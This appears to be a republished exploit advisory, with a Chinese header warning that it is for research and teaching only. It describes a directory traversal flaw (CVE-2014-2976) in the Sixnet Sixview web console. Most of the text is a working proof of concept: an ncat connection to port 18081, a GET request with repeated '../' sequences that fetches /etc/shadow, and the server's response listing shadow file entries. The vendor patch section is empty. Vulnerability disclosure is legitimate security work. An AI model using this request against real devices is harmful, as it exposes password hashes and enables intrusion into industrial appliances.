<*来源:daniel svartman *>测试方法: --------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! #Exploit Title: Sixnet sixview web console directory traversal #Date: 2014-04-21 #Exploit Author: daniel svartman #Vendor Homepage: www.sixnet.com #Software Link: Not available, hardware piece - appliance #Version: 2.4.1 #Tested on: Sixnet Sixview web console (Linux based appliance) #CVE : 2014-2976 PoV, Sixnet sixview web console handle requests through HTTP on port 18081. These requests can be received either through GET or POST requests. I discovered that GET requests are not validated at the server side, allowing an attacker to request arbitrary files from the supporting OS. Below is an example of the affected URL and the received answer using netcat: ncat <HOSTNAME> 18081 GET /../../../../../../../../../../etc/shadow HTTP/1.1 HTTP/1.1 200 OK Connection: Keep-Alive Content-Type: text/html Keep-Alive: timeout=15, max=50 Date: <SNIP> Last-Modified: <SNIP> Content-Length: 1025 root:<REMOVED>:15655:0:99999:7::: bin:*:15513:0:99999:7::: daemon:*:15513:0:99999:7::: adm:*:15513:0:99999:7::: lp:*:15513:0:99999:7::: sync:*:15513:0:99999:7::: shutdown:*:15513:0:99999:7::: halt:*:15513:0:99999:7::: mail:*:15513:0:99999:7::: uucp:*:15513:0:99999:7::: <SNIP>建议: -------------------------------------------------------------------------------- 厂商补丁: